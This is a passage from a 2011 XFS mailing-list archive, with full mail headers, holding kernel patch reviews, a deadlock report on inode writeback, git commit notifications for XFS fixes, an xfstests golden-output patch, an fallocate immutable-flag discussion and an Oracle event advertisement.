running latest xfstests on RHEL/SLES installs). Can you filter the output of xfsdump so that even older versions still pass the test? Cheers, Dave. -- Dave Chinner david@fromorbit.com From lkml@tlinx.org Tue Mar 1 20:25:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p222PBaF232104 for ; Tue, 1 Mar 2011 20:25:11 -0600 X-ASG-Debug-ID: 1299032879-6a00033c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from Ishtar.sc.tlinx.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id BB2B330905F for ; Tue, 1 Mar 2011 18:28:00 -0800 (PST) Received: from Ishtar.sc.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id uXMuUMOvmuWu4C1f for ; Tue, 01 Mar 2011 18:28:00 -0800 (PST) Received: from [192.168.3.140] (Athenae2 [192.168.3.140]) by Ishtar.sc.tlinx.org (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p222RIpX031584; Tue, 1 Mar 2011 18:27:20 -0800 Message-ID: <4D6DAB06.7090806@tlinx.org> Date: Tue, 01 Mar 2011 18:27:18 -0800 From: Linda Walsh User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.24) Thunderbird/2.0.0.24 Mnenhy/0.7.6.666 MIME-Version: 1.0 To: LKML CC: Dave Chinner , xfs-oss , PXXdraig Brady X-ASG-Orig-Subj: Re: RFE kernel option to do the desirable thing, w/regards to 'O_DIRECT' and mis-aligned data Subject: Re: RFE kernel option to do the desirable thing, w/regards to 'O_DIRECT' and mis-aligned data References: <4D648D7D.7040500@tlinx.org> <4D64E2BB.7010000@draigBrady.com> <4D654C2E.2000703@tlinx.org> <20110224092625.GA3087@dastard> In-Reply-To: <20110224092625.GA3087@dastard> X-Stationery: 0.4.10 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1299032880 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56794 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Thanks for the shorthand Dave, but I wasn't really trying to use xfs_mkfs to make a file that was failing -- but was more trying to use it as an example of supporting the idea that both should succeed, and if a write is a partial write to an O_DIRECT file, that it be allowed to succeed and the kernel, knowing the device's minimum write size from the driver, could buffer the last sector. To deal with back-compat issues, it could be based off of a proc var like /proc/kernel/fs/direct_IO_handling using bitfields (or multiple vars if you don't like bitfields, I s with the bits defined as: Bit 0 Controlling allowed partial writes that start at an aligned position Bit 1 Controlling allowed non-aligned writes Bit 2 Controlling allowed partial reads that start at aligned position Bit 3 Controlling allowed non-aligned reads Bit 4 Controlling whether to use general FS cache for affected sectors It's a bit of 'overkill' for what I wanted (just case controlled by Bit 0), but for sake of completeness, I thought all of these combinations should be specified. Default of 0 = current behavior of mis-aligned data accesses failing, while specifying various combinations would allow for variations with the kernel handling mis-aligned accesses automatically, much like the x86 processor handles mis-aligned integer additions or stacks automatically (perhaps at a performance penalty, but with a tendency toward 'working' rather than failing, if possible). It seems better to put that logic in the kernel rather than saddle multiple applications using DIRECT I/O with handling the non-aligned cases. This seems especially useful given the long term trend toward increasing use of static-memory devices which will likely support arbitrary direct I/O sizes. Linda Walsh From david@fromorbit.com Tue Mar 1 21:03:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2233Iow234021 for ; Tue, 1 Mar 2011 21:03:18 -0600 X-ASG-Debug-ID: 1299035165-44c8019c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DE272A5C045 for ; Tue, 1 Mar 2011 19:06:05 -0800 (PST) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Vi5C3HpS2bOhOKfF for ; Tue, 01 Mar 2011 19:06:05 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEACNDbU15LFEb/2dsb2JhbACmU3W+Jg2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Mar 2011 13:36:04 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PucO2-0002Kr-VT; Wed, 02 Mar 2011 14:06:03 +1100 Date: Wed, 2 Mar 2011 14:06:02 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Subject: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Message-ID: <20110302030602.GD4905@dastard> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298412969-14389-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1299035166 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56797 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Feb 23, 2011 at 09:16:09AM +1100, Dave Chinner wrote: > From: Dave Chinner > > When the inode cache shrinker runs, we may have lots of dirty inodes queued up > in the VFS dirty queues that have not been expired. The typical case for this > with XFS is atime updates. The result is that a highly concurrent workload that > copies files and then later reads them (say to verify checksums) dirties all > the inodes again, even when relatime is used. > > In a constrained memory environment, this results in a large number of dirty > inodes using all of available memory and memory reclaim being unable to free > them as dirty inodes areconsidered active. This problem was uncovered by Chris > Mason during recent low memory stress testing. > > The fix is to trigger VFS level writeback from the XFS inode cache shrinker if > there isn't already writeback in progress. This ensures that when we enter a > low memory situation we start cleaning inodes (via the flusher thread) on the > filesystem immediately, thereby making it more likely that we will be able to > evict those dirty inodes from the VFS in the near future. > > The mechanism is not perfect - it only acts on the current filesystem, so if > all the dirty inodes are on a different filesystem it won't help. However, it > seems to be a valid assumption is that the filesystem with lots of dirty inodes > is going to have the shrinker called very soon after the memory shortage > begins, so this shouldn't be an issue. > > The other flaw is that there is no guarantee that the flusher thread will make > progress fast enough to clean the dirty inodes so they can be reclaimed in the > near future. However, this mechanism does improve the resilience of the > filesystem under the test conditions - instead of reliably triggering the OOM > killer 20 minutes into the stress test, it took more than 6 hours before it > happened. > > This small addition definitely improves the low memory resilience of XFS on > this type of workload, and best of all it has no impact on performance when > memory is not constrained. > > Signed-off-by: Dave Chinner > --- > fs/xfs/linux-2.6/xfs_sync.c | 11 +++++++++++ > 1 files changed, 11 insertions(+), 0 deletions(-) > > diff --git a/fs/xfs/linux-2.6/xfs_sync.c b/fs/xfs/linux-2.6/xfs_sync.c > index 35138dc..3abde91 100644 > --- a/fs/xfs/linux-2.6/xfs_sync.c > +++ b/fs/xfs/linux-2.6/xfs_sync.c > @@ -1044,6 +1044,17 @@ xfs_reclaim_inode_shrink( > if (!(gfp_mask & __GFP_FS)) > return -1; > > + /* > + * make sure VFS is cleaning inodes so they can be pruned > + * and marked for reclaim in the XFS inode cache. If we don't > + * do this the VFS can accumulate dirty inodes and we can OOM > + * before they are cleaned by the periodic VFS writeback. > + * > + * This takes VFS level locks, so we can only do this after > + * the __GFP_FS checks otherwise lockdep gets really unhappy. > + */ > + writeback_inodes_sb_nr_if_idle(mp->m_super, nr_to_scan); > + Well, this generates a deadlock if we get a low memory situation before the bdi flusher thread for the underly device has been created. That is, we get low memory, kick writeback_inodes_sb_nr_if_idle(), we end up with the bdi-default thread trying to create the flush-x:y thread, which gets stuck waiting for kthread_create() to complete. kthread_create() never completes because the do_fork() call in the kthreadd fails memory allocation and again calls (via the shrinker) writeback_inodes_sb_nr_if_idle(), which thinks that writeback_in_progress(bdi) is false, so tries to start writeback again.... So, writeback_inodes_sb_nr_if_idle() is busted w.r.t. only queuing a single writeback instance as writeback is only marked as in progress once the queued callback is running. Perhaps writeback_in_progress() should return try if the BDI_Pending bit is set, indicating the flusher thread is being created right now, but I'm not sure that is sufficient to avoid all the potential races here. I'm open to ideas here - I could convert the bdi flusher infrastructure to cmwqs rather than using worker threads, or move all dirty inode tracking and writeback into XFS, or ??? Cheers, Dave. -- Dave Chinner david@fromorbit.com From aelder@oss.sgi.com Tue Mar 1 22:42:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.8 required=5.0 tests=ALL_TRUSTED,BAYES_00, J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p224gflR240165 for ; Tue, 1 Mar 2011 22:42:41 -0600 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p224gKGo240106; Tue, 1 Mar 2011 22:42:20 -0600 Date: Tue, 1 Mar 2011 22:42:20 -0600 Message-Id: <201103020442.p224gKGo240106@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. v2.6.37-rc4-9187-geeb2036 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 5d15765594eeb5d82c5630b3428ea0ac4f7d3c31 X-Git-Newrev: eeb2036b8a148629b762ae6d85cff0be8106f081 This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated eeb2036 xfs: zero proper structure size for geometry calls 20ad9ea xfs: enable delaylog by default ec3ba85 xfs: more sensible inode refcounting for ialloc 1050c71 xfs: stop using xfs_trans_iget in the RT allocator from 5d15765594eeb5d82c5630b3428ea0ac4f7d3c31 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit eeb2036b8a148629b762ae6d85cff0be8106f081 Author: Alex Elder Date: Tue Mar 1 17:50:00 2011 +0000 xfs: zero proper structure size for geometry calls Commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added this call to xfs_fs_geometry() in order to avoid passing kernel stack data back to user space: + memset(geo, 0, sizeof(*geo)); Unfortunately, one of the callers of that function passes the address of a smaller data type, cast to fit the type that xfs_fs_geometry() requires. As a result, this can happen: Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: f87aca93 Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 Call Trace: [] ? panic+0x50/0x150 [] ? __stack_chk_fail+0x10/0x18 [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] Fix this by fixing that one caller to pass the right type and then copy out the subset it is interested in. Note: This patch is an alternative to one originally proposed by Eric Sandeen. Reported-by: Jeffrey Hundstad Signed-off-by: Alex Elder Reviewed-by: Eric Sandeen Tested-by: Jeffrey Hundstad commit 20ad9ea9becd34a3c16252ca9d815f2c74f8f30f Author: Christoph Hellwig Date: Sun Feb 13 12:06:34 2011 +0000 xfs: enable delaylog by default Signed-off-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Alex Elder commit ec3ba85f4083d10e32fe58b46db02d78ef71f6b8 Author: Christoph Hellwig Date: Sun Feb 13 13:26:42 2011 +0000 xfs: more sensible inode refcounting for ialloc Currently we return iodes from xfs_ialloc with just a single reference held. But we need two references, as one is dropped during transaction commit and the second needs to be transfered to the VFS. Change xfs_ialloc to use xfs_iget plus xfs_trans_ijoin_ref to grab two references to the inode, and remove the now superflous IHOLD calls from all callers. This also greatly simplifies the error handling in xfs_create and also allow to remove xfs_trans_iget as no other callers are left. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Alex Elder commit 1050c71e2925ab0cb025e4c89e08b15529a1ee36 Author: Christoph Hellwig Date: Sun Feb 13 13:25:31 2011 +0000 xfs: stop using xfs_trans_iget in the RT allocator During mount we establish references to the RT inodes, which we keep for the lifetime of the filesystem. Instead of using xfs_trans_iget to grab additional references when adding RT inodes to transactions use the combination of xfs_ilock and xfs_trans_ijoin_ref, which archives the same end result with less overhead. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Alex Elder ----------------------------------------------------------------------- Summary of changes: fs/xfs/linux-2.6/xfs_ioctl.c | 11 +++++-- fs/xfs/linux-2.6/xfs_super.c | 1 + fs/xfs/quota/xfs_qm.c | 7 ----- fs/xfs/xfs_bmap.c | 8 +---- fs/xfs/xfs_inode.c | 5 ++- fs/xfs/xfs_rtalloc.c | 54 ++++++++++++++---------------------- fs/xfs/xfs_trans.h | 2 - fs/xfs/xfs_trans_inode.c | 22 --------------- fs/xfs/xfs_vnodeops.c | 61 +++++++++++------------------------------- 9 files changed, 51 insertions(+), 120 deletions(-) hooks/post-receive -- XFS development tree From aelder@oss.sgi.com Tue Mar 1 22:43:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.8 required=5.0 tests=ALL_TRUSTED,BAYES_00, J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p224hWIF240293 for ; Tue, 1 Mar 2011 22:43:32 -0600 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p224hT9S240265; Tue, 1 Mar 2011 22:43:29 -0600 Date: Tue, 1 Mar 2011 22:43:29 -0600 Message-Id: <201103020443.p224hT9S240265@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-linus, updated. v2.6.37-rc4-11030-gaf24ee9 X-Git-Refname: refs/heads/for-linus X-Git-Reftype: branch X-Git-Oldrev: be715140b5c3baf8ab6708060cfab80bef279d18 X-Git-Newrev: af24ee9ea8d532e16883251a6684dfa1be8eec29 This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-linus has been updated af24ee9 xfs: zero proper structure size for geometry calls from be715140b5c3baf8ab6708060cfab80bef279d18 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit af24ee9ea8d532e16883251a6684dfa1be8eec29 Author: Alex Elder Date: Tue Mar 1 17:50:00 2011 +0000 xfs: zero proper structure size for geometry calls Commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added this call to xfs_fs_geometry() in order to avoid passing kernel stack data back to user space: + memset(geo, 0, sizeof(*geo)); Unfortunately, one of the callers of that function passes the address of a smaller data type, cast to fit the type that xfs_fs_geometry() requires. As a result, this can happen: Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: f87aca93 Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 Call Trace: [] ? panic+0x50/0x150 [] ? __stack_chk_fail+0x10/0x18 [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] Fix this by fixing that one caller to pass the right type and then copy out the subset it is interested in. Note: This patch is an alternative to one originally proposed by Eric Sandeen. Reported-by: Jeffrey Hundstad Signed-off-by: Alex Elder Reviewed-by: Eric Sandeen Tested-by: Jeffrey Hundstad ----------------------------------------------------------------------- Summary of changes: fs/xfs/linux-2.6/xfs_ioctl.c | 11 ++++++++--- 1 files changed, 8 insertions(+), 3 deletions(-) hooks/post-receive -- XFS development tree From aelder@sgi.com Tue Mar 1 22:46:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p224kfnA240471 for ; Tue, 1 Mar 2011 22:46:41 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay1.corp.sgi.com (Postfix) with ESMTP id 29F238F80BE; Tue, 1 Mar 2011 20:49:28 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p224nRun024370; Tue, 1 Mar 2011 22:49:27 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p224nRbO024369; Tue, 1 Mar 2011 22:49:27 -0600 From: Alex Elder Message-Id: <201103020449.p224nRbO024369@stout.americas.sgi.com> Date: Tue, 01 Mar 2011 22:49:27 -0600 To: xfs@oss.sgi.com Subject: [PATCH, v2] xfstests: drop "Mount point match" from 028 and 047 golden output User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Bill's latest update to xfsdump dropped a line of output that served no real purpose. This change updates the golden output for the two tests that included that line of output. Updated to filter out that line from dump output also, so old versions of the code will still produce the same output (suggested by Dave Chinner). Signed-off-by: Alex Elder --- 028.out | 1 - 047.out | 1 - common.dump | 1 + 3 files changed, 1 insertion(+), 2 deletions(-) Index: b/028.out =================================================================== --- a/028.out +++ b/028.out @@ -225,7 +225,6 @@ Processing file /var/xfsdump/inventory/U /var/xfsdump/inventory/UUID.InvIndex Checking access for /var/xfsdump/inventory/UUID.StObj - Mount point match Session 0: HOSTNAME:SCRATCH_MNT ------------------------------------------------- Pruning this matching entry: Index: b/047.out =================================================================== --- a/047.out +++ b/047.out @@ -225,7 +225,6 @@ Processing file /var/xfsdump/inventory/U /var/xfsdump/inventory/UUID.InvIndex Checking access for /var/xfsdump/inventory/UUID.StObj - Mount point match Session 0: HOSTNAME:SCRATCH_MNT ------------------------------------------------- An entry matching the mount point/time is : Index: b/common.dump =================================================================== --- a/common.dump +++ b/common.dump @@ -814,6 +814,7 @@ _dump_filter_main() -e '/\/dev\/tty/d' \ -e '/inventory session uuid/d' \ -e '/ - Running single-threaded/d' \ + -e '/Mount point match/d' \ -e '/^.*I\/O metrics: .*$/d' \ -e 's/1048576/BLOCKSZ/' \ -e 's/2097152/BLOCKSZ/' \ From marco.stornelli@gmail.com Wed Mar 2 02:22:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,FREEMAIL_FROM, J_CHICKENPOX_21,T_DKIM_INVALID autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p228MB4W255437 for ; Wed, 2 Mar 2011 02:22:11 -0600 X-ASG-Debug-ID: 1299054299-0cff01050000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-ww0-f51.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C74F01D46672 for ; Wed, 2 Mar 2011 00:25:00 -0800 (PST) Received: from mail-ww0-f51.google.com (mail-ww0-f51.google.com [74.125.82.51]) by cuda.sgi.com with ESMTP id 6FXKBHLTRVuLnSNi for ; Wed, 02 Mar 2011 00:25:00 -0800 (PST) Received: by wwf26 with SMTP id 26so5525941wwf.32 for ; Wed, 02 Mar 2011 00:24:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:message-id:date:from:user-agent:mime-version:to :subject:references:in-reply-to:content-type :content-transfer-encoding; bh=UF+itc5c2uJbluKGAG2WI9KlhUjCqytsZ6A4QGXtPLI=; b=u92ne9duuq4wp/fdv+JY6DUPkED4QXSPuJMh0r2Orts7Sw5Q57vnN8Q5NjahsOsCqB GMHKnIWOuIDuPcx79e8ZXb3Yk4rpxlALE1v28b/ASEVO236mhcmzIKsw0sv8/AmIGBKO OVOE6pcNf3haZp5OP7pKXtCipNbAFL46h72eI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; b=lw+w5IpPd7dLxKVy6tg4UAYRtWP8rN3c3LIp0dQ2a2rK8sVcf5umh+KXI86DLQjmoW 2zjb1901mSdI+zenaZSD/1ScTO8w5kXDXu8pUoEQ52fQN04snAW7RR8mNrtxcNNEH2EE 1tRrNPW/RxKXLhj+VCScr04GnHw0YFQdHXhwM= Received: by 10.216.239.67 with SMTP id b45mr2429083wer.37.1299054299099; Wed, 02 Mar 2011 00:24:59 -0800 (PST) Received: from [62.211.204.170] (host170-204-dynamic.211-62-r.retail.telecomitalia.it [62.211.204.170]) by mx.google.com with ESMTPS id j49sm2939099wer.14.2011.03.02.00.24.56 (version=TLSv1/SSLv3 cipher=OTHER); Wed, 02 Mar 2011 00:24:57 -0800 (PST) Message-ID: <4D6DFDAA.3060006@gmail.com> Date: Wed, 02 Mar 2011 09:19:54 +0100 From: Marco Stornelli User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.1.16) Gecko/20101125 SUSE/3.0.11 Thunderbird/3.0.11 MIME-Version: 1.0 To: "Ted Ts'o" , Christoph Hellwig , Linux Kernel , cluster-devel@redhat.com, Linux FS Devel , linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Check for immutable flag in fallocate path Subject: Re: [PATCH] Check for immutable flag in fallocate path References: <4D6221B8.9040303@gmail.com> <20110221124635.GA5525@infradead.org> <20110227224940.GL2924@thunk.org> In-Reply-To: <20110227224940.GL2924@thunk.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ww0-f51.google.com[74.125.82.51] X-Barracuda-Start-Time: 1299054300 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56818 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Il 27/02/2011 23:49, Ted Ts'o ha scritto: > On Mon, Feb 21, 2011 at 05:50:21PM +0100, Marco Stornelli wrote: >> 2011/2/21 Christoph Hellwig : >>> On Mon, Feb 21, 2011 at 09:26:32AM +0100, Marco Stornelli wrote: >>>> From: Marco Stornelli >>>> >>>> All fs must check for the immutable flag in their fallocate callback. >>>> It's possible to have a race condition in this scenario: an application >>>> open a file in read/write and it does something, meanwhile root set the >>>> immutable flag on the file, the application at that point can call >>>> fallocate with success. Only Ocfs2 check for the immutable flag at the >>>> moment. >>> >>> Please add the check in fs/open.c:do_fallocate() so that it covers all >>> filesystems. >>> >>> >> >> The check should be done after the fs got the inode mutex lock. > > Why? None of the other places which check the IMMUTABLE flag do so I add to my previous response an other point: IMHO each fs should check for it because after the inclusion of punch hole patch, the fs can/cannot check for the append-only flag. So XFS (it supports the "unreserve") should check even for append. I think we don't want to allow this operation for an append-only file, isn't it? About this point I'll update and resend my patch. Marco From SEMA-CR-3-1N7AP6R@bounce.oracle-mail.com Wed Mar 2 04:37:30 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.8 required=5.0 tests=BAYES_50,HTML_MESSAGE autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22AbUYH000914 for ; Wed, 2 Mar 2011 04:37:30 -0600 X-ASG-Debug-ID: 1299062416-09e502cc0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from acsinet52.oracleeblast.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8A882149D010 for ; Wed, 2 Mar 2011 02:40:16 -0800 (PST) Received: from acsinet52.oracleeblast.com (acsinet52.oracleeblast.com [141.146.5.52]) by cuda.sgi.com with ESMTP id KKl1bklonCFSFDkb for ; Wed, 02 Mar 2011 02:40:16 -0800 (PST) Received: from amts748.us.oracle.com (amts748.us.oracle.com [140.84.104.66]) by acsinet52.oracleeblast.com (8.14.4+Sun/8.14.4) with ESMTP id p22ARVGI026626 for ; Wed, 2 Mar 2011 10:27:33 GMT Date: Wed, 2 Mar 2011 02:27:31 -0800 To: X-Mailer: Siebel EMS 80 [EMS 2017] main/201012131828 MIME-Version: 1.0 Sender: "Oracle" X-ASG-Orig-Subj: Join Us: Oracle Tiered Storage Day - San Francisco Subject: Join Us: Oracle Tiered Storage Day - San Francisco From: "Oracle" Reply-To: reply@oracle-mail.com Message-ID: Content-Type: multipart/alternative; boundary=BF_1299061520313_674405551 X-Barracuda-Connect: acsinet52.oracleeblast.com[141.146.5.52] X-Barracuda-Start-Time: 1299062417 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0062 1.0000 -1.9802 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.98 X-Barracuda-Spam-Status: No, SCORE=-1.98 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56827 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --BF_1299061520313_674405551 Content-Type: text/plain; charset=UTF-8 Cut Costs, Maximize Efficiencies, and Increase Performance Dear David Chinner, Enterprise data may be your most valuable resource. It's also very likely becoming the hardest-and most expensive-to manage. How to Optimize Database, Data Protection, and Archive Results Now you can reduce storage acquisition, management, and operating costs while increasing performance and scalability. All with Oracle's comprehensive tiered storage solutions-including tape, disk, unified, and flash storage, storage management, database and content management software. Join us at this Oracle Tiered Storage Day, and learn how to: * Reduce IT costs-by leveraging software intelligence and aligning data to the best storage media * Manage data growth-using automated multitier data management and sophisticated data management policies * Improve performance-by increasing transaction rates and throughput, and reducing wait times * Scale quickly and reliably-with the best scalability and interoperability * Reduce risk-by going with leading database, content management and storage solutions, completely backed by Oracle worldwide Your data is going to keep growing. It's time for a storage solution that can grow with-or ahead-of it. Register now for this FREE event or call 1.800.820.5592 ext. 8940 https://gcmprm.oracle.com/ctd/lu?RID=3-1N7AP6R&CON=&PRO=3-1N65VMG&AID=&OID=3-1MRGLGC&CID=3-1MRGLFU&COID=3-1MRGLG9&T=http%3a%2f%2fwww.oracle.com%2fgo%2f%3f%26Src%3d7006184%26Act%3d356%26pcode%3dNAFM10038064MPP153&TN=Register+now&RT=Clicked+On+URL Oracle Storage Solutions Register Now 